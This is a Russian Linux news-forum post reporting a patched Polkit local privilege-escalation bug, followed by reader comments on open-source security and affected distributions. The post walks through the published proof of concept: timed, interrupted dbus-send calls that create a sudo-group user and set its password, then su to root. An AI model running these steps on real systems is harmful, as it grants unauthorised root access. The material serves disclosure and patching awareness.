LINUX.ORG.RU

Семилетний баг в Polkit, позволяющий получить права root

 , ,

Семилетний баг в Polkit, позволяющий получить права root

2

1

Участник GitHub Security Lab Kevin Backhouse обнаружил уязвимость в Polkit, которая впервые появилась семь лет назад в коммите bfa5036 и с версией 0.113 попала в некоторые дистрибутивы. Она позволяет непривилегированному локальному пользователю получить права root в системе, приложив для этого минимальные усилия. Уязвимости подвержены любые дистрибутивы с установленной версией Polkit 0.113 (или более поздней). Например, такие популярные, как RHEL 8 и Ubuntu 20.04. Уязвимость была устранена 3 июня 2021 года.

Как пишет Kevin Backhouse, уязвимость очень просто эксплуатируется, для этого достаточно простых инструментов: bash, kill, и dbus-send. Кроме них, для своей статьи (PoC exploit) он так же использовал accountsservice и gnome-control-center, которые можно найти на многих системах с GUI. Следует заметить, что accountsservice и gnome-control-center не содержат уязвимость и являются просто клиентами для Polkit.

Собственно уязвимость активируется с помощью команды dbus-send (т.е. простой отправки сообщения через шину D-Bus), которую нужно завершить во время, пока Polkit ещё обрабатывает запрос. Теоретически, можно нажать Ctrl + C на клавиатуре в нужный момент, однако Kevin Backhouse не смог продемонстрировать именно такой вариант.


Шаги* эксплуатации уязвимости из PoC exploit

Для начала нужно замерить время, которое требуется для нормального выполнения команды dbus-send:

time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1

Результат должен быть примерно таким:
Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required

real 0m0.016s
user 0m0.005s
sys 0m0.000s

Вывод команды time показывает, что dbus-send была выполнена за 16 миллисекунд. Следовательно, для успешной эксплуатации команда dbus-send должна быть завершена примерно через 8 миллисекунд после запуска.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

Вероятно, что данный трюк удастся провернуть не с первого раза, поэтому может понадобится подобрать более подходящую задержку перед завершением dbus-send. Если время будет подобрано правильно и команда отработает успешно, то в системе появится новый пользователь boris входящий в группу sudo.
$ id boris
uid=1002(boris) gid=1002(boris) groups=1002(boris),27(sudo)

Далее необходимо задать пароль для пользователя boris. D-Bus интерфейс ожидает, что пароль будет передан в виде хеша, который легко получить с помощью openssl.
$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB

Теперь следует провернуть аналогичный описанному выше трюк с командой dbus-send, за исключением используемого метода. На сей раз требуется метод SetPassword.
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!

Как и в прошлый раз, вероятно потребуется несколько попыток и подбор значения задержки. Так же следует обратить внимание на идентификатор пользователя, который может отличаться от 1002 в примере.

Наконец можно получить привилегии пользователя root в системе:
su - boris # password: iaminvincible!
sudo su # password: iaminvincible!

―――
* Шаги эксплуатации уязвимости приведены исключительно для ознакомления. Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам. Помните об ответственности!

P.S. Настоятельно рекомендуется выполнить обновление системы.

>>> Подробности

★★★★★

Проверено: xaizek ()
Последнее исправление: xaizek (всего исправлений: 10)
Ответ на: комментарий от Legioner

Не то, что в закрытых системах, где такие баги будут незамеченными сотни лет.

Открытый / закрытый это примерно ничто. Контрибуторов со стороны относительно мало, 10%-20% в лучшем случае. Всё делают либо программисты на зарплате, либо изначальные авторы если проект некоммерческий.

Но самое главное: баг репорты отправляют пользователи. Если пользователей много миллионов, то и в закрытой системе баги будут исправлены. Если пользователей - один автор, то даже код под MIT или другой самой свободной лицензией будет содержать ошибки.

fsb4000 ★★★★★
()
Ответ на: комментарий от bhfq

Не переживай, при использовании подобной уязвимости на работе (локальная учётка же), тебе выдадут волчий билет, пнут под зад и заведут уголовное дело за неправомерное получение доступа. Так что, дерзай.

grem ★★★★★
()

в Debian 10 и Debian 11 версии polkit 0.105.
Это значит, что уязвимости оно не подвержено?

Если уязвимости 7 лет, значит и версии 0.113 примерно столько же, так?
Почему тогда в свежем Debian всё ещё 0.105?

Я понимаю, что в Дебиане всё древнючее, но не настолько же?
Или опять какая-то наркомания с версионированием?

annerleen ★★★★☆
()
Ответ на: комментарий от fsb4000

Открытый / закрытый это примерно ничто. Контрибуторов со стороны относительно мало, 10%-20% в лучшем случае. Всё делают либо программисты на зарплате, либо изначальные авторы если проект некоммерческий.

Открытый / закрытый это всё.

Во-первых открытый код смотрят многие пользователи, даже если не контрибьютят.

Во-вторых открытый код могут проверять разные статические анализаторы, просто потому, что он доступен.

Закрытый код во-первых вообще никто не смотрит, т.к. его пишут программисты на зарплате, которым плевать на всё кроме их текущих задач. Никому и в голову не придёт просматривать какой-то старый код просто так. Во-вторых к его качеству относятся спустя рукава и редко применяют современные техники разработки кода, даже банальное автоматизированное тестирование в коммерческом коде это исключение, а не правило.

Но самое главное: баг репорты отправляют пользователи. Если пользователей много миллионов, то и в закрытой системе баги будут исправлены. Если пользователей - один автор, то даже код под MIT или другой самой свободной лицензией будет содержать ошибки.

Баги, подобные описанной в теме уязвимости, ни один пользователь найти не сможет. Его можно найти только целенаправленным чтением исходного кода.

Пользователи могут найти примерно такой баг:

He found that by entering the username «root», leaving the password field blank, and hitting «enter» a few times, he would be granted unrestricted access to the target machine.

Но это редкость даже в закрытых системах.

Если пользователей действительно много миллионов, то будут некоторые хакеры, которые будут дизассемблировать и читать машинный код в поисках уязвимостей. Конечно же найденные уязвимости будут проданы заинтересованным компаниям, использованы против пользователей и только через много лет просочатся в открытый доступ и будут исправлены.

Legioner ★★★★★
()
Ответ на: комментарий от bhfq

Если нужна безопасность, то я бы наоборот остерегался дистрибутивов с так называемым сертификатами ФСТЕК.

Reset ★★★★★
()
Ответ на: комментарий от grem

В регионах почти все компьютеры в гоструктурах кроме тех где деньги крутятся на пиратских вендах расскажи мне тут про уголовки.

bhfq ★★★★★
()
Ответ на: комментарий от Legioner

Конечно же найденные уязвимости будут проданы заинтересованным компаниям, использованы против пользователей и только через много лет просочатся в открытый доступ и будут исправлены.

И чем это отличается от открытого кода ? В открытом коде баги так же живут годами и сабж тому пример.

vasya_pupkin ★★★★★
()
Ответ на: комментарий от vasya_pupkin

И чем это отличается от открытого кода ?

поймёшь, если станешь програмистом. Сейчас ты на уровне червяка, который не опнимает - зачем ему электроэнергия.

anonymous
()
Ответ на: комментарий от Legioner

Во-вторых открытый код могут проверять разные статические анализаторы, просто потому, что он доступен.

Всё так. Славно, что существуют Microsoft и PVS-Studio, которые время от времени проверяют (критически важные)открытые проекты типа OpenSSL и отправляют баг репорты/пул реквесты.

https://devblogs.microsoft.com/cppblog/finding-bugs-with-addresssanitizer-patterns-from-open-source-projects/

«Тысячи глаз» сами не могут…

fsb4000 ★★★★★
()
Ответ на: комментарий от anonymous

всё так:

#dpkg -l|grep kit|grep pol|cut -d\ -f3

gir1.2-polkit-1.0

libpolkit-agent-1-0:amd64

libpolkit-backend-1-0:amd64

libpolkit-gobject-1-0:amd64

policykit-1

mumpster ★★★★★
()
Последнее исправление: mumpster (всего исправлений: 1)
Ответ на: комментарий от bhfq

В регионах почти все компьютеры в гоструктурах кроме тех где деньги крутятся на пиратских вендах расскажи мне тут про уголовки.

Это тебе, пользуйся: ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

// Даже не жду, что ты чем-либо подтвердишь сведения о пиратской винде.

dexpl ★★★★★
()
Ответ на: комментарий от bhfq

Так одно дело винда. А другое дело получение доступа туда, куда не следует.

grem ★★★★★
()
Ответ на: комментарий от vasya_pupkin

Ну так то да. Так и в закрытых продуктах баги фиксят.

Да не совсем и закрытых …
В inet имеются ссылки на исходники разных версий Windows …
Чего их фиксить то?
Делать большего нечего?
А в исходники бывает и полезно заглянуть …

anonymous
()
Ответ на: комментарий от anonymous

проверь Windows статическим анализатором

Во первых это уже сделали за меня, а во вторых тебе уже сказали:

https://devblogs.microsoft.com/cppblog/finding-bugs-with-addresssanitizer-pat...

Где же были тысячи глаз с анализаторами ?

vasya_pupkin ★★★★★
()
Последнее исправление: vasya_pupkin (всего исправлений: 1)
Ответ на: комментарий от Croco

А при чем тут dbus если ошибка в policykit который не проверил ошибку? Точно так же можно слажать даже работая через unix domain sockets

Nastishka ★★★★★
()
Ответ на: комментарий от Nastishka

При том, что товарищ решил высказать экспертное мнение являясь диванным подвидом оного. Тут большинство таких.

anonymous
()
Ответ на: комментарий от vasya_pupkin

Во первых это уже сделали за меня

и жену оплодотворили без тебя

уже сказали

на заборе х.й написано а там - дрова

anonymous
()
Ответ на: комментарий от Nastishka

Это может быть любой другой сервис типа packagekit который поставит пакет с суидным бинарником.

Этот конкретный баг - в polkit. Но если нет org.freedesktop.Accounts - его не заэксплойтишь.

ЗЫ: кстати, характерный пример вреда внедрения чуждых технологий в линукс ради удобства хомячков. Если ковырнуть весь шлак связанный с доступом через d-bus ко всякими хомячковыим «сервисам» для руления системой (то, что нормальные люди просто делают редактируя конфиги и запуская нужные команды из-под рута и им нахер не нужны эти свистелки и перделки в гуе), там ещё много такого найдётся.

Stanson ★★★★★
()
Последнее исправление: Stanson (всего исправлений: 3)
Ответ на: комментарий от anonymous

Policykit в теории и должен был решать эту проблему позволяя задавить политики кому что можно

Nastishka ★★★★★
()
Ответ на: комментарий от Stanson

Это демонстрация бага. Можно точно так же сделать с любым сервисом который в ходит в policykit. PackageKit, systemd, networkmanager, udisk. Это только то что вспомнилось.

Nastishka ★★★★★
()
Ответ на: комментарий от Nastishka

Можно точно так же сделать с любым сервисом который в ходит в policykit. PackageKit, systemd, networkmanager, udisk. Это только то что вспомнилось.

Наверно. Но не факт что в итоге получишь рута. И, кстати, всё вышеперечисленное - как раз системные свистелки и перделки сделанные ради хомячков.

Stanson ★★★★★
()
Ответ на: комментарий от annerleen

в Debian 10 и Debian 11 версии polkit 0.105.

и в Debian 9

Это значит, что уязвимости оно не подвержено?

проверь, что ты как не линуксоид.

Если уязвимости 7 лет, значит и версии 0.113 примерно столько же, так? Почему тогда в свежем Debian всё ещё 0.105?

ментейнеры дебиана что-то знают…

anonymous
()
Ответ на: комментарий от vasya_pupkin

А тебе Столлман с Торвальдсом на пару присунули :D

Ну вот наконец то ЛОР пришел в себя, а то думал чего-то в этих диалогах не хватает …
Пойду кофе заварю.

anonymous
()
Ответ на: комментарий от vasya_pupkin

Миллионы глаз…

… проверили, нашли…

… и, так как еще имеют миллионы рук, исправили самостоятельно, не дожидаясь централизованной бюрократии, которая еще всеми средствами пытается запретить эту самостоятельность.

anonymous
()
Ответ на: комментарий от vasya_pupkin

А ты мне втирай про безглючный опенсоурс

Встряну в диалог.
Дураков победить ведь нельзя …

anonymous
()
Ответ на: комментарий от annerleen
История ошибки в Debian и его производных (таких как Ubuntu ) несколько отличается , поскольку Debian использует вилку polkit с другой схемой нумерации версий. В ответвлении Debian ошибка была представлена ​​в коммите f81d021 и впервые была отправлена ​​с версией 0.105-26. Самый последний стабильный выпуск Debian, Debian 10 («buster») , использует версию 0.105-25, что означает, что он не уязвим. Однако некоторые производные Debian, такие как Ubuntu, основаны на нестабильной версии Debian , которая уязвима.

Вот таблица с выбором популярных дистрибутивов с указанием того, уязвимы ли они (обратите внимание, что это не полный список):

				Уязвимый?
RHEL 7				No
RHEL 8				Yes
Fedora 20 (or earlier)		No
Fedora 21 (or later)		Yes
Debian 10 (“buster”)		No
Debian testing (“bullseye”)	Yes
Ubuntu 18.04			No
Ubuntu 20.04			Yes

https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with...

superuser ★★★★☆
()
Ответ на: комментарий от anonymous

Дураков победить ведь нельзя …

Вот прям +1 Фанатики они такие... Здраво мыслить не умеют. Ему аргументы, а он в ответ дичь какую-то несет...

vasya_pupkin ★★★★★
()

Дерьмобас такой дерьмобас. Фридрисктоп такой фридрисктоп.

anonymous
()
Ответ на: комментарий от vasya_pupkin

Вот прям +1 Фанатики они такие… Здраво мыслить не умеют. Ему аргументы, а он в ответ дичь какую-то несет…

На форумах как в окопе

и каждый думал и молчал о чем-то о своем ...
anonymous
()
Ответ на: комментарий от superuser

практика

знакомый купил ноут с предустановленной убунтой. и с ней такой прикол – есть два пользователя: один «бесправный», без пароля и с автологином; другой «админ» с неизвестным паролем. продавцы с его слов совсем не в теме, помочь не в состоянии. я ему сразу сказал «переустанови», но он упирается иррационально. от обычного пользователя крутится рекламное приложение. я показал ему как прибивать эту «заразу» (правда, она временами «возрождается» :). и вот так он им и «пользуется».

вот покажу ему тред (без своего комментария и ряда других «оффтопов»), может начнет человек сознательно вникать в линукс.

anonymous
()

Ни в коем случае не пытайтесь повторить их на системах принадлежащих не вам

А что будет, решелинупс обидицо и перестанет разговаривать?

d_a ★★★★★
()
Ответ на: практика от anonymous

вот покажу ему тред (без своего комментария и ряда других «оффтопов»), может начнет человек сознательно вникать в линукс

Не портите человеку настроение.
У него свой уютненький мир, а вы его разрушите.

anonymous
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.